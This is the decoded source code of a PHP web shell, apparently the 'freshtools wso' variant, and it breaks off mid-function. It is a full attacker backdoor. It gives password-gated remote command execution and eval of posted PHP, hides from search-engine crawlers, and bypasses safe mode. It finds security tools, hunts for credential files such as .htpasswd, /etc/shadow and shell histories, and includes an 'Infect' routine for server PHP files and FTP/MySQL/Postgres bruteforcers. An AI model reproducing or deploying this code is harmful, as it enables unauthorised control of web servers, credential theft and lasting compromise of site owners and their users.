/* Decoded by unphp.net */
$â = 'd01fbdd6c2e7038f24da35ec6e860e28';
$â = true;
$â = 'UTF-8';
$â = 'FilesMan';
$â = md5($_SERVER['HTTP_USER_AGENT']);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'key', $â);
}
if (empty($_POST['charset'])) {
$_POST['charset'] = $â;
}
if (!isset($_POST['ne'])) {
if (isset($_POST['a'])) {
$_POST['a'] = iconv(
'utf-8',
$_POST['charset'],
decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'])
);
}
if (isset($_POST['c'])) {
$_POST['c'] = iconv(
'utf-8',
$_POST['charset'],
decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'])
);
}
if (isset($_POST['p1'])) {
$_POST['p1'] = iconv(
'utf-8',
$_POST['charset'],
decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'])
);
}
if (isset($_POST['p2'])) {
$_POST['p2'] = iconv(
'utf-8',
$_POST['charset'],
decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'])
);
}
if (isset($_POST['p3'])) {
$_POST['p3'] = iconv(
'utf-8',
$_POST['charset'],
decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'key'])
);
}
}
function decrypt($str, $pwd)
{
$pwd = base64_encode($pwd);
$str = base64_decode($str);
$enc_chr = '';
$enc_str = '';
$i = 0;
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$i++;
if ($i >= strlen($str)) {
break;
}
}
}
return base64_decode($enc_str);
}
@ini_set('error_log', null);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@define('VERSION', '1.0');
/* (С) 11.2011 oRb */
if (!empty($â)) {
if (isset($_POST['pass']) && md5($_POST['pass']) == $â) {
prototype(md5($_SERVER['HTTP_HOST']), $â);
}
if (
!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) ||
$_COOKIE[md5($_SERVER['HTTP_HOST'])] != $â
) {
hardLogin();
}
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $â;
}
function hardLogin()
{
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = [
'Google',
'Slurp',
'MSNBot',
'ia_archiver',
'Yandex',
'Rambler',
];
if (
preg_match(
'/' . implode('|', $userAgents) . '/i',
$_SERVER['HTTP_USER_AGENT']
)
) {
header('HTTP/1.0 404 Not Found');
exit();
}
}
die(
"
" .
$_SERVER['HTTP_HOST'] .
' freshtools wso ' .
VERSION .
" "
);
}
if (strtolower(substr(PHP_OS, 0, 3)) == 'win') {
$os = 'win';
} else {
$os = 'nix';
}
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) {
error_reporting(0);
}
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) {
@chdir($_POST['c']);
}
$cwd = @getcwd();
if ($os == 'win') {
$home_cwd = str_replace('\', '/', $home_cwd);
$cwd = str_replace('\', '/', $cwd);
}
if ($cwd[strlen($cwd) - 1] != '/') {
$cwd .= '/';
}
/* (С) 04.2015 Pirat */
function hardHeader()
{
if (empty($_POST['charset'])) {
$_POST['charset'] = $GLOBALS['â'];
}
echo "
" .
$_SERVER['HTTP_HOST'] .
' freshtools wso ' .
VERSION .
"
";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace ? $totalSpace : 1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink =
'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
if (strpos('Linux', $kernel) !== false) {
$explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
} else {
$explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
}
if (!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = '?';
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode('/', $GLOBALS['cwd']);
$n = count($path);
for ($i = 0; $i < $n - 1; $i++) {
$cwd_links .= "
" . $path[$i] . '/';
}
$charsets = ['UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'];
$opt_charsets = '';
foreach ($charsets as $â) {
$opt_charsets .=
'
';
}
$m = [
'Sec. Info' => 'SecInfo',
'Files' => 'FilesMan',
'Send mail' => 'SendMail',
'Console' => 'Console',
'Infect' => 'Infect',
'Sql' => 'Sql',
'Php' => 'Php',
'Safe mode' => 'SafeMode',
'String tools' => 'StringTools',
'Bruteforce' => 'Bruteforce',
'Network' => 'Network',
];
if (!empty($GLOBALS['â'])) {
$m['Logout'] = 'Logout';
}
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach ($m as $k => $v) {
$menu .=
'
';
}
$drives = '';
if ($GLOBALS['os'] == 'win') {
foreach (range('c', 'z') as $drive) {
if (is_dir($drive . ':\')) {
$drives .=
'
[ ' .
$drive .
' ] ';
}
}
}
/* (С) 08.2015 dmkcv */
echo '
Uname: User: Php: Hdd: Cwd:' .
($GLOBALS['os'] == 'win' ? ' Drives:' : '') .
' | ' .
'' .
substr(@php_uname(), 0, 120) .
' [ Google ] [ Exploit-DB ] ' .
$uid .
' ( ' .
$user .
' ) Group: ' .
$gid .
' ( ' .
$group .
' ) ' .
@phpversion() .
' Safe mode: ' .
($GLOBALS['safe_mode']
? 'ON'
: 'OFF') .
' [ phpinfo ] Datetime: ' .
date('Y-m-d H:i:s') .
' ' .
viewSize($totalSpace) .
' Free: ' .
viewSize($freeSpace) .
' (' .
round(100 / ($totalSpace / $freeSpace), 2) .
'%) ' .
$cwd_links .
' ' .
viewPermsColor($GLOBALS['cwd']) .
' [ home ] ' .
$drives .
' | ' .
'Freshtools | ' .
' Server IP: ' .
gethostbyname($_SERVER['HTTP_HOST']) .
' Client IP: ' .
$_SERVER['REMOTE_ADDR'] .
' |
' .
'
';
}
function hardFooter()
{
$is_writable = is_writable($GLOBALS['cwd'])
? " [ Writeable ]"
: ' (Not writable)';
echo "
";
}
if (
!function_exists('posix_getpwuid') &&
strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false
) {
function posix_getpwuid($p)
{
return false;
}
}
if (
!function_exists('posix_getgrgid') &&
strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false
) {
function posix_getgrgid($p)
{
return false;
}
}
function ex($in)
{
$â = '';
if (function_exists('exec')) {
@exec($in, $â);
$â = @join("
", $â);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$â = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$â = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$â = shell_exec($in);
} elseif (is_resource($f = @popen($in, 'r'))) {
$â = '';
while (!@feof($f)) {
$â .= fread($f, 1024);
}
pclose($f);
} else {
return "â³ Unable to execute command
";
}
return $â == '' ? "â³ Query did not return anything
" : $â;
}
function viewSize($s)
{
if ($s >= 1073741824) {
return sprintf('%1.2f', $s / 1073741824) . ' GB';
} elseif ($s >= 1048576) {
return sprintf('%1.2f', $s / 1048576) . ' MB';
} elseif ($s >= 1024) {
return sprintf('%1.2f', $s / 1024) . ' KB';
} else {
return $s . ' B';
}
}
function perms($p)
{
if (($p & 0xc000) == 0xc000) {
$i = 's';
} elseif (($p & 0xa000) == 0xa000) {
$i = 'l';
} elseif (($p & 0x8000) == 0x8000) {
$i = '-';
} elseif (($p & 0x6000) == 0x6000) {
$i = 'b';
} elseif (($p & 0x4000) == 0x4000) {
$i = 'd';
} elseif (($p & 0x2000) == 0x2000) {
$i = 'c';
} elseif (($p & 0x1000) == 0x1000) {
$i = 'p';
} else {
$i = 'u';
}
$i .= $p & 0x0100 ? 'r' : '-';
$i .= $p & 0x0080 ? 'w' : '-';
$i .= $p & 0x0040 ? ($p & 0x0800 ? 's' : 'x') : ($p & 0x0800 ? 'S' : '-');
$i .= $p & 0x0020 ? 'r' : '-';
$i .= $p & 0x0010 ? 'w' : '-';
$i .= $p & 0x0008 ? ($p & 0x0400 ? 's' : 'x') : ($p & 0x0400 ? 'S' : '-');
$i .= $p & 0x0004 ? 'r' : '-';
$i .= $p & 0x0002 ? 'w' : '-';
$i .= $p & 0x0001 ? ($p & 0x0200 ? 't' : 'x') : ($p & 0x0200 ? 'T' : '-');
return $i;
}
function viewPermsColor($f)
{
if (!@is_readable($f)) {
return '' .
perms(@fileperms($f)) .
'';
} elseif (!@is_writable($f)) {
return '' . perms(@fileperms($f)) . '';
} else {
return '' .
perms(@fileperms($f)) .
'';
}
}
function hardScandir($dir)
{
if (function_exists('scandir')) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function which($p)
{
$path = ex('which ' . $p);
if (!empty($path)) {
return $path;
}
return false;
}
function actionRC()
{
if (!@$_POST['p1']) {
$a = [
'uname' => php_uname(),
'php_version' => phpversion(),
'VERSION' => VERSION,
'safemode' => @ini_get('safe_mode'),
];
echo serialize($a);
} else {
eval($_POST['p1']);
}
}
function prototype($k, $v)
{
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
function actionSecInfo()
{
hardHeader();
echo 'Server security information
';
function showSecParam($n, $v)
{
$v = trim($v);
if ($v) {
echo '
' . $n . ': ';
if (strpos($v, "
") === false) {
echo $v . '
';
} else {
echo '
' . $v . '
';
}
}
}
showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if (function_exists('apache_get_modules')) {
showSecParam(
'Loaded Apache modules',
implode(', ', apache_get_modules())
);
}
showSecParam(
'Disabled PHP Functions',
$GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none'
);
showSecParam('Open base dir', @ini_get('open_basedir'));
showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
showSecParam(
'cURL support',
function_exists('curl_version') ? 'enabled' : 'no'
);
$temp = [];
if (function_exists('mysql_get_client_info')) {
$temp[] = 'MySql (' . mysql_get_client_info() . ')';
}
if (function_exists('mssql_connect')) {
$temp[] = 'MSSQL';
}
if (function_exists('pg_connect')) {
$temp[] = 'PostgreSQL';
}
if (function_exists('oci_connect')) {
$temp[] = 'Oracle';
}
showSecParam('Supported databases', implode(', ', $temp));
echo '
';
if ($GLOBALS['os'] == 'nix') {
showSecParam(
'Readable /etc/passwd',
@is_readable('/etc/passwd')
? "yes
[view]"
: 'no'
);
showSecParam(
'Readable /etc/shadow',
@is_readable('/etc/shadow')
? "yes
[view]"
: 'no'
);
showSecParam('OS version', @file_get_contents('/proc/version'));
showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if (!$GLOBALS['safe_mode']) {
$userful = [
'gcc',
'lcc',
'cc',
'ld',
'make',
'php',
'perl',
'python',
'ruby',
'tar',
'gzip',
'bzip',
'bzip2',
'nc',
'locate',
'suidperl',
];
$danger = [
'kav',
'nod32',
'bdcored',
'uvscan',
'sav',
'drwebd',
'clamd',
'rkhunter',
'chkrootkit',
'iptables',
'ipfw',
'tripwire',
'shieldcc',
'portsentry',
'snort',
'ossec',
'lidsadm',
'tcplodg',
'sxid',
'logcheck',
'logwatch',
'sysmask',
'zmbscap',
'sawmill',
'wormscan',
'ninja',
];
$downloaders = [
'wget',
'fetch',
'lynx',
'links',
'curl',
'get',
'lwp-mirror',
];
echo '
';
$temp = [];
foreach ($userful as $â) {
if (which($â)) {
$temp[] = $â;
}
}
showSecParam('Userful', implode(', ', $temp));
$temp = [];
foreach ($danger as $â) {
if (which($â)) {
$temp[] = $â;
}
}
showSecParam('Danger', implode(', ', $temp));
$temp = [];
foreach ($downloaders as $â) {
if (which($â)) {
$temp[] = $â;
}
}
showSecParam('Downloaders', implode(', ', $temp));
echo '
';
showSecParam('HDD space', ex('df -h'));
showSecParam('Hosts', @file_get_contents('/etc/hosts'));
showSecParam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
showSecParam('OS Version', ex('ver'));
showSecParam(
'Account Settings',
iconv('CP866', 'UTF-8', ex('net accounts'))
);
showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
}
echo '
';
hardFooter();
}
function actionFilesTools()
{
if (isset($_POST['p1'])) {
$_POST['p1'] = urldecode($_POST['p1']);
}
if (@$_POST['p2'] == 'download') {
if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start('ob_gzhandler', 4096);
header(
'Content-Disposition: attachment; filename=' .
basename($_POST['p1'])
);
if (function_exists('mime_content_type')) {
$type = @mime_content_type($_POST['p1']);
header('Content-Type: ' . $type);
} else {
header('Content-Type: application/octet-stream');
}
$fp = @fopen($_POST['p1'], 'r');
if ($fp) {
while (!@feof($fp)) {
echo @fread($fp, 1024);
}
fclose($fp);
}
}
exit();
}
if (@$_POST['p2'] == 'mkfile') {
if (!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if ($fp) {
$_POST['p2'] = 'edit';
fclose($fp);
}
}
}
hardHeader();
echo 'File tools
';
if (!file_exists(@$_POST['p1'])) {
echo 'File not exists';
hardFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if (!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else {
$gid = @posix_getgrgid(@filegroup($_POST['p1']));
}
echo '
Name: ' .
'' .
htmlspecialchars(@basename($_POST['p1'])) .
'' .
'Size: ' .
'' .
(is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') .
'' .
'Permission: ' .
'' .
viewPermsColor($_POST['p1']) .
'' .
'Owner/Group: ' .
'' .
$uid['name'] .
'/' .
$gid['name'] .
'
' .
'
';
echo '
Create time: ' .
'
' .
date('Y-m-d H:i:s', filectime($_POST['p1'])) .
'' .
'
Access time: ' .
'
' .
date('Y-m-d H:i:s', fileatime($_POST['p1'])) .
'' .
'
Modify time: ' .
'
' .
date('Y-m-d H:i:s', filemtime($_POST['p1'])) .
'' .
'
';
if (empty($_POST['p2'])) {
$_POST['p2'] = 'view';
}
if (is_file($_POST['p1'])) {
$m = [
'View',
'Highlight',
'Download',
'Hexdump',
'Edit',
'Chmod',
'Rename',
'Touch',
'Frame',
];
} else {
$m = ['Chmod', 'Rename', 'Touch'];
}
foreach ($m as $v) {
echo '
' .
(strtolower($v) == @$_POST['p2'] ? '[ ' . $v . ' ]' : $v) .
' ';
}
echo '
';
switch ($_POST['p2']) {
case 'view':
echo '
';
$fp = @fopen($_POST['p1'], 'r');
if ($fp) {
while (!@feof($fp)) {
echo htmlspecialchars(@fread($fp, 1024));
}
@fclose($fp);
}
echo '
';
break;
case 'highlight':
if (@is_readable($_POST['p1'])) {
echo '
';
$oRb = @highlight_file($_POST['p1'], true);
echo str_replace(
[''],
[''],
$oRb
) . '
';
}
break;
case 'chmod':
if (!empty($_POST['p3'])) {
$perms = 0;
for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
$perms +=
(int) $_POST['p3'][$i] *
pow(8, strlen($_POST['p3']) - $i - 1);
}
if (!@chmod($_POST['p1'], $perms)) {
echo 'Can\'t set permissions!
';
}
}
clearstatcache();
echo '
';
break;
case 'edit':
if (!is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if (!empty($_POST['p3'])) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'], 1);
$fp = @fopen($_POST['p1'], 'w');
if ($fp) {
@fwrite($fp, $_POST['p3']);
@fclose($fp);
echo 'Saved!
';
@touch($_POST['p1'], $time, $time);
}
}
echo '
';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = ['00000000
', '', ''];
$len = strlen($c);
for ($i = 0; $i < $len; ++$i) {
$h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
switch (ord($c[$i])) {
case 0:
$h[2] .= ' ';
break;
case 9:
$h[2] .= ' ';
break;
case 10:
$h[2] .= ' ';
break;
case 13:
$h[2] .= ' ';
break;
default:
$h[2] .= $c[$i];
break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i + 1 < $len) {
$h[0] .= sprintf('%08X', $i + 1) . '
';
}
$h[1] .= '
';
$h[2] .= "
";
}
}
echo '
' .
$h[0] .
' | ' .
$h[1] .
' | ' .
htmlspecialchars($h[2]) .
' |
';
break;
case 'rename':
if (!empty($_POST['p3'])) {
if (!@rename($_POST['p1'], $_POST['p3'])) {
echo 'Can\'t rename!
';
} else {
die(
''
);
}
}
echo '
';
break;
case 'touch':
if (!empty($_POST['p3'])) {
$time = strtotime($_POST['p3']);
if ($time) {
if (!touch($_POST['p1'], $time, $time)) {
echo 'Fail!';
} else {
echo 'Touched!';
}
} else {
echo 'Bad time format!';
}
}
clearstatcache();
echo '
';
break;
/* (С) 12.2015 mitryz */
case 'frame':
$frameSrc = substr(
htmlspecialchars($GLOBALS['cwd']),
strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT']))
);
if ($frameSrc[0] != '/') {
$frameSrc = '/' . $frameSrc;
}
if ($frameSrc[strlen($frameSrc) - 1] != '/') {
$frameSrc = $frameSrc . '/';
}
$frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
echo '
';
break;
}
echo '
';
hardFooter();
}
if ($os == 'win') {
$aliases = [
'List Directory' => 'dir',
'Find index.php in current dir' => 'dir /s /w /b index.php',
'Find *config*.php in current dir' => 'dir /s /w /b *config*.php',
'Show active connections' => 'netstat -an',
'Show running services' => 'net start',
'User accounts' => 'net user',
'Show computers' => 'net view',
'ARP Table' => 'arp -a',
'IP Configuration' => 'ipconfig /all',
];
} else {
$aliases = [
'List dir' => 'ls -lha',
'list file attributes on a Linux second extended file system' =>
'lsattr -va',
'show opened ports' => 'netstat -an | grep -i listen',
'process status' => 'ps aux',
'Find' => '',
'find all suid files' => 'find / -type f -perm -04000 -ls',
'find suid files in current dir' => 'find . -type f -perm -04000 -ls',
'find all sgid files' => 'find / -type f -perm -02000 -ls',
'find sgid files in current dir' => 'find . -type f -perm -02000 -ls',
'find config.inc.php files' => 'find / -type f -name config.inc.php',
'find config* files' => "find / -type f -name \"config*\"",
'find config* files in current dir' =>
"find . -type f -name \"config*\"",
'find all writable folders and files' => 'find / -perm -2 -ls',
'find all writable folders and files in current dir' =>
'find . -perm -2 -ls',
'find all service.pwd files' => 'find / -type f -name service.pwd',
'find service.pwd files in current dir' =>
'find . -type f -name service.pwd',
'find all .htpasswd files' => 'find / -type f -name .htpasswd',
'find .htpasswd files in current dir' =>
'find . -type f -name .htpasswd',
'find all .bash_history files' => 'find / -type f -name .bash_history',
'find .bash_history files in current dir' =>
'find . -type f -name .bash_history',
'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc',
'find .fetchmailrc files in current dir' =>
'find . -type f -name .fetchmailrc',
'Locate' => '',
'locate httpd.conf files' => 'locate httpd.conf',
'locate vhosts.conf files' => 'locate vhosts.conf',
'locate proftpd.conf files' => 'locate proftpd.conf',
'locate psybnc.conf files' => 'locate psybnc.conf',
'locate my.conf files' => 'locate my.conf',
'locate admin.php files' => 'locate admin.php',
'locate cfg.php files' => 'locate cfg.php',
'locate conf.php files' => 'locate conf.php',
'locate config.dat files' => 'locate config.dat',
'locate config.php files' => 'locate config.php',
'locate config.inc files' => 'locate config.inc',
'locate config.inc.php' => 'locate config.inc.php',
'locate config.default.php files' => 'locate config.default.php',
'locate config* files ' => 'locate config',
'locate .conf files' => "locate '.conf'",
'locate .pwd files' => "locate '.pwd'",
'locate .sql files' => "locate '.sql'",
'locate .htpasswd files' => "locate '.htpasswd'",
'locate .bash_history files' => "locate '.bash_history'",
'locate .mysql_history files' => "locate '.mysql_history'",
'locate .fetchmailrc files' => "locate '.fetchmailrc'",
'locate backup files' => 'locate backup',
'locate dump files' => 'locate dump',
'locate priv files' => 'locate priv',
];
}
function actionConsole()
{
if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
$_POST['p1'] .= ' 2>&1';
} elseif (!empty($_POST['p1'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
}
if (isset($_POST['ajax'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv(
$_POST['charset'],
'UTF-8',
addcslashes(
"
$ " . $_POST['p1'] . "
" . ex($_POST['p1']),
"
\' "
)
);
if (preg_match('!.*cd\s+([^;]+)$!', $_POST['p1'], $match)) {
if (@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='" . $GLOBALS['cwd'] . "';";
}
}
echo "d.cf.output.value+='" . $temp . "';";
echo 'd.cf.output.scrollTop = d.cf.output.scrollHeight;';
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit();
}
if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
}
hardHeader();
echo "";
echo 'Console
';
hardFooter();
}
function actionSendMail()
{
hardHeader();
echo 'Send Mail
";
hardFooter();
}
function actionSafeMode()
{
$temp = '';
ob_start();
switch ($_POST['p1']) {
case 1:
$temp = @tempnam($test, 'cx');
if (@copy('compress.zlib://' . $_POST['p2'], $temp)) {
echo @file_get_contents($temp);
unlink($temp);
} else {
echo 'Sorry... Can\'t open file';
}
break;
case 2:
$files = glob($_POST['p2'] . '*');
if (is_array($files)) {
foreach ($files as $filename) {
echo $filename . "
";
}
}
break;
case 3:
$ch = curl_init('file://' . $_POST['p2'] . " " . SELF_PATH);
curl_exec($ch);
break;
case 4:
ini_restore('safe_mode');
ini_restore('open_basedir');
include $_POST['p2'];
break;
case 5:
for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid) {
echo join(':', $uid) . "
";
}
}
break;
case 6:
if (!function_exists('imap_open')) {
break;
}
$stream = imap_open($_POST['p2'], '', '');
if ($stream == false) {
break;
}
echo imap_body($stream, 1);
imap_close($stream);
break;
}
$temp = ob_get_clean();
hardHeader();
echo 'Safe mode bypass
';
hardFooter();
}
function actionLogout()
{
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
die('bye!');
}
function actionSelfRemove()
{
if ($_POST['p1'] == 'yes') {
if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) {
die('Shell has been removed');
} else {
echo 'unlink error!';
}
}
if ($_POST['p1'] != 'yes') {
hardHeader();
}
echo 'Suicide
Really want to remove the shell?
Yes ';
hardFooter();
}
function actionInfect()
{
hardHeader();
echo 'Infect
';
if ($_POST['p1'] == 'infect') {
$target = $_SERVER['DOCUMENT_ROOT'];
function ListFiles($dir)
{
if ($dh = opendir($dir)) {
$files = [];
$inner_files = [];
while ($file = readdir($dh)) {
if ($file != '.' && $file != '..') {
if (is_dir($dir . '/' . $file)) {
$inner_files = ListFiles($dir . '/' . $file);
if (is_array($inner_files)) {
$files = array_merge($files, $inner_files);
}
} else {
array_push($files, $dir . '/' . $file);
}
}
}
closedir($dh);
return $files;
}
}
foreach (ListFiles($target) as $key => $file) {
$nFile = substr($file, -4, 4);
if ($nFile == '.php') {
if (
$file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] &&
is_writeable($file)
) {
echo "$file
";
$i++;
}
}
}
echo "
$i";
} else {
echo '
';
echo 'Really want to infect the server?
Yes ';
}
hardFooter();
}
function actionBruteforce()
{
hardHeader();
if (isset($_POST['proto'])) {
echo 'Results
Type: ' .
htmlspecialchars($_POST['proto']) .
' Server: ' .
htmlspecialchars($_POST['server']) .
'
';
if ($_POST['proto'] == 'ftp') {
function bruteForce($ip, $port, $login, $pass)
{
$fp = @ftp_connect($ip, $port ? $port : 21);
if (!$fp) {
return false;
}
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif ($_POST['proto'] == 'mysql') {
function bruteForce($ip, $port, $login, $pass)
{
$res = mysqli_connect(
$ip . ':' . ($port ? $port : 3306),
$login,
$pass
);
mysqli_close($res);
return $res;
}
} elseif ($_POST['proto'] == 'pgsql') {
function bruteForce($ip, $port, $login, $pass)
{
$str =
"host='" .
$ip .
"' port='" .
$port .
"' user='" .
$login .
"' password='" .
$pass .
"' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(':', $_POST['server']);
if ($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if (is_array($temp)) {
foreach ($temp as $line) {
$line = explode(':', $line);
++$attempts;
if (
bruteForce(@$server[0], @$server[1], $line[0], $line[0])
) {
$success++;
echo '' .
htmlspecialchars($line[0]) .
':' .
htmlspecialchars($line[0]) .
'
';
}
if (@$_POST['reverse']) {
$tmp = '';
for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
$tmp .= $line[0][$i];
}
++$attempts;
if (
bruteForce(@$server[0], @$server[1], $line[0], $tmp)
) {
$success++;
echo '' .
htmlspecialchars($line[0]) .
':' .
htmlspecialchars($tmp);
}
}
}
}
} elseif ($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if (is_array($temp)) {
foreach ($temp as $line) {
$line = trim($line);
++$attempts;
if (
bruteForce(
$server[0],
@$server[1],
$_POST['login'],
$line
)
) {
$success++;
echo '' .
htmlspecialchars($_POST['login']) .
':' .
htmlspecialchars($line) .
'
';
}
}
}
}
echo "Attempts: $attempts Success: $success
";
}
echo 'FTP bruteforce
';
hardFooter();
}
function actionSql()
{
class DbClass
{
var $type;
var $link;
var $res;
function __construct($type)
{
$this->type = $type;
}
function connect($host, $user, $pass, $dbname)
{
var_dump($host);
switch ($this->type) {
case 'mysql':
if ($this->link = mysqli_connect($host, $user, $pass)) {
return true;
}
break;
case 'pgsql':
$host = explode(':', $host);
if (!$host[1]) {
$host[1] = 5432;
}
if (
$this->link = @pg_connect(
"host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"
)
) {
return true;
}
break;
}
return false;
}
function selectdb($db)
{
switch ($this->type) {
case 'mysql':
if (mysqli_select_db($this->link, $db)) {
return true;
}
break;
}
return false;
}
function query($str)
{
switch ($this->type) {
case 'mysql':
return $this->res = mysqli_query($this->link, $str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link, $str);
break;
}
return false;
}
function fetch()
{
$res = func_num_args() ? func_get_arg(0) : $this->res;
switch ($this->type) {
case 'mysql':
return mysqli_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs()
{
switch ($this->type) {
case 'mysql':
return $this->query('SHOW databases');
break;
case 'pgsql':
return $this->res = $this->query(
"SELECT datname FROM pg_database WHERE datistemplate!='t'"
);
break;
}
return false;
}
function listTables()
{
switch ($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query(
"select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"
);
break;
}
return false;
}
function error()
{
switch ($this->type) {
case 'mysql':
return mysqli_error($this->link);
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str)
{
switch ($this->type) {
case 'mysql':
if (function_exists('mysql_set_charset')) {
return mysqli_set_charset($str, $this->link);
} else {
$this->query('SET CHARSET ' . $str);
}
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str)
{
switch ($this->type) {
case 'mysql':
return $this->fetch(
$this->query(
"SELECT LOAD_FILE('" .
addslashes($str) .
"') as file"
)
);
break;
case 'pgsql':
$this->query(
"CREATE TABLE hard2(file text);COPY hard2 FROM '" .
addslashes($str) .
"';select file from hard2;"
);
$r = [];
while ($i = $this->fetch()) {
$r[] = $i['file'];
}
$this->query('drop table hard2');
return ['file' => implode("
", $r)];
break;
}
return false;
}
function dump($table, $fp = false)
{
switch ($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `' . $table . '`');
$create = mysql_fetch_array($res);
$sql = $create[1] . ";
";
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
$this->query('SELECT * FROM `' . $table . '`');
$i = 0;
$head = true;
while ($â = $this->fetch()) {
$sql = '';
if ($i % 1000 == 0) {
$head = true;
$sql = ";
";
}
$columns = [];
foreach ($â as $k => $v) {
if ($v === null) {
$â[$k] = 'NULL';
} elseif (is_int($v)) {
$â[$k] = $v;
} else {
$â[$k] =
"'" . mysqli_real_escape_string($v) . "'";
}
$columns[] = '`' . $k . '`';
}
if ($head) {
$sql .=
'INSERT INTO `' .
$table .
'` (' .
implode(', ', $columns) .
") VALUES
(" .
implode(', ', $â) .
')';
$head = false;
} else {
$sql .= "
,(" . implode(', ', $â) . ')';
}
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
$i++;
}
if (!$head) {
if ($fp) {
fwrite($fp, ";
");
} else {
echo ";
";
}
}
break;
case 'pgsql':
$this->query('SELECT * FROM ' . $table);
while ($â = $this->fetch()) {
$columns = [];
foreach ($â as $k => $v) {
$â[$k] = "'" . addslashes($v) . "'";
